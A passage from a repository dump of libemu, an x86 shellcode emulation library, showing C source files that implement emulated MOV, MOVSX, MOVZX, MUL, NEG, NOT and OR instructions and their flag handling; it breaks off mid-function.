to r/m16                              \n\t * MOV r/m16,imm16  \n\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\t/* C7 /0  \n\t * Move imm32 to r/m32                              \n\t * MOV r/m32,imm32  \n\t */\n\n\tif( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, *i->imm16);\n\t\t}\n\t\telse\n\t\t{\n#if BYTE_ORDER == BIG_ENDIAN\n\t\t\tbcopy(i->imm16, c->reg16[i->modrm.rm], 2);\n#else\n\t\t\t*c->reg16[i->modrm.rm] = *i->imm16;\n#endif\n\t\t}                                                                    \n\t}\n\telse\n\t{\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, i->imm);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tc->reg[i->modrm.rm] = i->imm;\n\t\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t}\n\n\treturn 0;\n}\n\n\n\n\n"
  },
  {
    "path": "src/functions/movsx.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 481*/\n\n#include <ctype.h>\n#include <stdio.h>\n\nint32_t instr_movsx_0fbe(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0F BE /r \n\t\t\t * Move byte to word with sign-extension\n\t\t\t * MOVSX r16,m8  \n\t\t\t */       \n\t\t\tuint8_t m8;\n\t\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\t\t*c->reg16[i->modrm.opc] = (int8_t)m8;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0F BE /r \n\t\t\t * Move byte to doubleword, sign-extension\n\t\t\t * MOVSX r32,m8  \n\t\t\t */       \n\t\t\tuint8_t m8;\n\t\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\t\tc->reg[i->modrm.opc] = (int8_t)m8;\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0F BE /r \n\t\t\t * Move byte to word with sign-extension\n\t\t\t * MOVSX r16,r8  \n\t\t\t */       \n\t\t\t*c->reg16[i->modrm.opc] = (int8_t)*c->reg8[i->modrm.rm];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0F BE /r \n\t\t\t * Move byte to doubleword, sign-extension\n\t\t\t * MOVSX r32,r8  \n\t\t\t */       \n\t\t\tc->reg[i->modrm.opc] = (int8_t)*c->reg8[i->modrm.rm];\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_movsx_0fbf(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* 0F BF /r \n\t\t * Move word to doubleword, sign-extension\n\t\t * MOVSX r32,m16 \n\t\t */\n\t\tuint16_t m16;\n\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\tc->reg[i->modrm.opc] = (int16_t)m16;\n\n\t}\n\telse\n\t{\n\t\t/* 0F BF /r \n\t\t * Move word to doubleword, sign-extension\n\t\t * MOVSX r32,r16 \n\t\t */\n\t\tc->reg[i->modrm.opc] = (int16_t)*c->reg16[i->modrm.rm];\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/movzx.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 486*/\n\n#include <ctype.h>\n#include <stdio.h>\n\nint32_t instr_movzx_0fb6(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0F B6 /r \n\t\t\t * Move byte to word with zero-extension\n\t\t\t * MOVZX r16,r/m8 \n\t\t\t */\n\t\t\tuint8_t m8;\n\t\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\t\t*c->reg16[i->modrm.opc] = m8;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0F B6 /r \n\t\t\t * Move byte to doubleword, zero-extension\n\t\t\t * MOVZX r32,r/m8\n\t\t\t */\n\t\t\tuint8_t m8;\n\t\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\t\tc->reg[i->modrm.opc] = m8;\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0F B6 /r \n\t\t\t * Move byte to word with zero-extension\n\t\t\t * MOVZX r16,r/m8 \n\t\t\t */\n\t\t\t*c->reg16[i->modrm.opc] = *c->reg8[i->modrm.rm];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0F B6 /r \n\t\t\t * Move byte to doubleword, zero-extension\n\t\t\t * MOVZX r32,r/m8\n\t\t\t */\n\t\t\tc->reg[i->modrm.opc] = *c->reg8[i->modrm.rm];\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_movzx_0fb7(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* 0F B7 /r \n\t\t * Move word to doubleword, zero-extension\n\t\t * MOVZX r32,m16\n\t\t */\n\t\tuint16_t m16;\n\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\tc->reg[i->modrm.opc] = m16;\n\n\t}\n\telse\n\t{\n\t\t/* 0F B7 /r \n\t\t * Move word to doubleword, zero-extension\n\t\t * MOVZX r32,r16\n\t\t */\n\t\tc->reg[i->modrm.opc] = *c->reg16[i->modrm.rm];\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/mul.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n#include <string.h>\n\n#define INSTR_CALC(inbits, outbits, cpu, a, b) \\\nUINTOF(inbits) operand_a = a; \\\nUINTOF(inbits) operand_b = b; \\\nUINTOF(outbits) operation_result = operand_a * operand_b; \\\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 488*/\n\n#define INSTR_SET_FLAGS(cpu, upper_result)\t\\\nif (upper_result == 0) \\\n{ \\\n\tCPU_FLAG_UNSET(cpu,f_cf); \\\n\tCPU_FLAG_UNSET(cpu,f_of); \\\n} \\\nelse \\\n{ \\\n\tCPU_FLAG_SET(cpu,f_cf); \\\n\tCPU_FLAG_SET(cpu,f_of); \\\n}\n\n\n\n\nint32_t instr_group_3_f6_mul(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* F6 /4 \n\t\t * Unsigned multiply (AX <- AL * r/m8)             \n\t\t * MUL r/m8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC(8, \n\t\t\t\t   16,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   m8)\n\t\t*c->reg16[ax] = operation_result;\n\t\tuint8_t high;\n\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\tINSTR_SET_FLAGS(c,high);\n\n\t}\n\telse\n\t{\n\t\t/* F6 /4 \n\t\t * Unsigned multiply (AX <- AL * r/m8)             \n\t\t * MUL r/m8  \n\t\t */\n\t\tINSTR_CALC(8,\n\t\t\t\t   16,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   *c->reg8[i->modrm.rm])\n\n\t\t*c->reg16[ax] = operation_result;\n\t\tuint8_t high;\n\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\tINSTR_SET_FLAGS(c,high);\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_3_f7_mul(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /4 \n\t\t\t * Unsigned multiply (DX:AX <- AX * r/m16)         \n\t\t\t * MUL r/m16 \n\t\t\t */          \n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   *c->reg16[al],\n\t\t\t\t\t   m16)\n\n\t\t\tDWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result);\n\t\t\tDWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,*c->reg16[dx]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /4 \n\t\t\t * Unsigned multiply (EDX:EAX <- EAX * r/m32)      \n\t\t\t * MUL r/m32 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c,\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   m32)\n\n\t\t\tQWORD_UPPER_TO_DWORD(c->reg[edx],operation_result);\n\t\t\tQWORD_LOWER_TO_DWORD(c->reg[eax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,c->reg[edx]);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /4 \n\t\t\t * Unsigned multiply (DX:AX <- AX * r/m16)         \n\t\t\t * MUL r/m16 \n\t\t\t */                                                                      \n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   *c->reg16[al],\n\t\t\t\t\t   *c->reg16[i->modrm.rm])\n\t\t\tDWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result);\n\t\t\tDWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,*c->reg16[dx]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /4 \n\t\t\t * Unsigned multiply (EDX:EAX <- EAX * r/m32)      \n\t\t\t * MUL r/m32 \n\t\t\t */\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c,\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   c->reg[i->modrm.rm])\n\n\t\t\tQWORD_UPPER_TO_DWORD(c->reg[edx],operation_result);\n\t\t\tQWORD_LOWER_TO_DWORD(c->reg[eax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,c->reg[edx]);\n\t\t}\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/neg.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, cpu) \\\nUINTOF(bits) operand_a = a; \\\nUINTOF(bits) operation_result = 0-operand_a; \n\n#define INSTR_SET_FLAG_OF(cpu, bits) \\\n{ \\\n\tint64_t sx = (INTOF(bits))operand_a; \\\n\tint64_t sz = 0; \\\n \\\n\tsz = 0-sx; \\\n \\\n\tif (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \\\n\t|| sz != (INTOF(bits))operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_of);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_of);                                               \\\n\t}                                                                           \\\n}\n\n#define INSTR_SET_FLAG_CF(cpu, a)\t\t\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (a == 0)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_cf);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_cf);                                               \\\n\t}                                                                           \\\n}\n\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 494*/\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a)\t\\\nINSTR_CALC(bits, a, cpu) \\\nINSTR_SET_FLAG_CF(cpu, a) \\\nINSTR_SET_FLAG_OF(cpu, bits) \\\nINSTR_SET_FLAG_SF(cpu) \\\nINSTR_SET_FLAG_ZF(cpu) \\\nINSTR_SET_FLAG_PF(cpu)\n\n\n\n\n\nint32_t instr_group_3_f6_neg(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* F6 /3 \n\t\t * Two's complement negate r/m8\n\t\t * NEG r/m8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);\n\n\t}\n\telse\n\t{\n\t\t/* F6 /3 \n\t\t * Two's complement negate r/m8\n\t\t * NEG r/m8  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,c,*c->reg8[i->modrm.rm]);\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_3_f7_neg(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /3 \n\t\t\t * Two's complement negate r/m16\n\t\t\t * NEG r/m16 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /3 \n\t\t\t * Two's complement negate r/m32\n\t\t\t * NEG r/m32 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /3 \n\t\t\t * Two's complement negate r/m16\n\t\t\t * NEG r/m16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm])\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /3 \n\t\t\t * Two's complement negate r/m32\n\t\t\t * NEG r/m32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm])\n\n\t\t}\n\t}\n\n\n\treturn 0;\n}\n\n\n\n"
  },
  {
    "path": "src/functions/not.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, cpu) \\\nUINTOF(bits) operand_a = a; \\\nUINTOF(bits) operation_result = ~operand_a; \\\na = operation_result; \n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 497*/\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a)\t\\\nINSTR_CALC(bits, a, cpu)\n\nint32_t instr_group_3_f6_not(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif (i->modrm.mod != 3)\n\t{\n\t\t/* F6 /2  \n\t\t * Reverse each bit of r/m8\n\t\t * NOT r/m8    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);\n\n\t}\n\telse\n\t{\n\t\t/* F6 /2  \n\t\t * Reverse each bit of r/m8\n\t\t * NOT r/m8    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,c,*c->reg8[i->modrm.rm]);\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_3_f7_not(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /2  \n\t\t\t * Reverse each bit of r/m16\n\t\t\t * NOT r/m16   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /2  \n\t\t\t * Reverse each bit of r/m32\n\t\t\t * NOT r/m32   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /2  \n\t\t\t * Reverse each bit of r/m16\n\t\t\t * NOT r/m16   \n\t\t\t */   \n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm])\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /2  \n\t\t\t * Reverse each bit of r/m32\n\t\t\t * NOT r/m32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm])\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/or.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation)\t\\\nINSTR_CALC(bits, a, b, c, operation)\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu, f_of);\t\t\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu, f_cf);\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\n\n\n#define TRACK_INIT_ALL_FLAGS(instruction_p) \\\nTRACK_INIT_EFLAG(instruction_p, f_of); \\\nTRACK_INIT_EFLAG(instruction_p, f_cf); \\\nTRACK_INIT_EFLAG(instruction_p, f_zf); \\\nTRACK_INIT_EFLAG(instruction_p, f_pf); \\\nTRACK_INIT_EFLAG(instruction_p, f_sf); \n\n\nint32_t instr_or_08(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 08 /r\n\t * r/m8 OR r8\n\t * OR r/m8,r8     \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t |)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t |)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_or_09(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 09 /r\n\t\t\t * r/m16 OR r16\n\t\t\t * OR r/m16,r16   \n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t |)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 09 /r\n\t\t\t * r/m32 OR r32\n\t\t\t * OR r/m32,r32   \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t |)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 09 /r\n\t\t\t * r/m16 OR r16\n\t\t\t * OR r/m16,r16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t |)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 09 /r\n\t\t\t * r/m32 OR r32\n\t\t\t * OR r/m32,r32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t |)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_or_0a(struct emu_cpu *c, struct emu_cpu_instruction 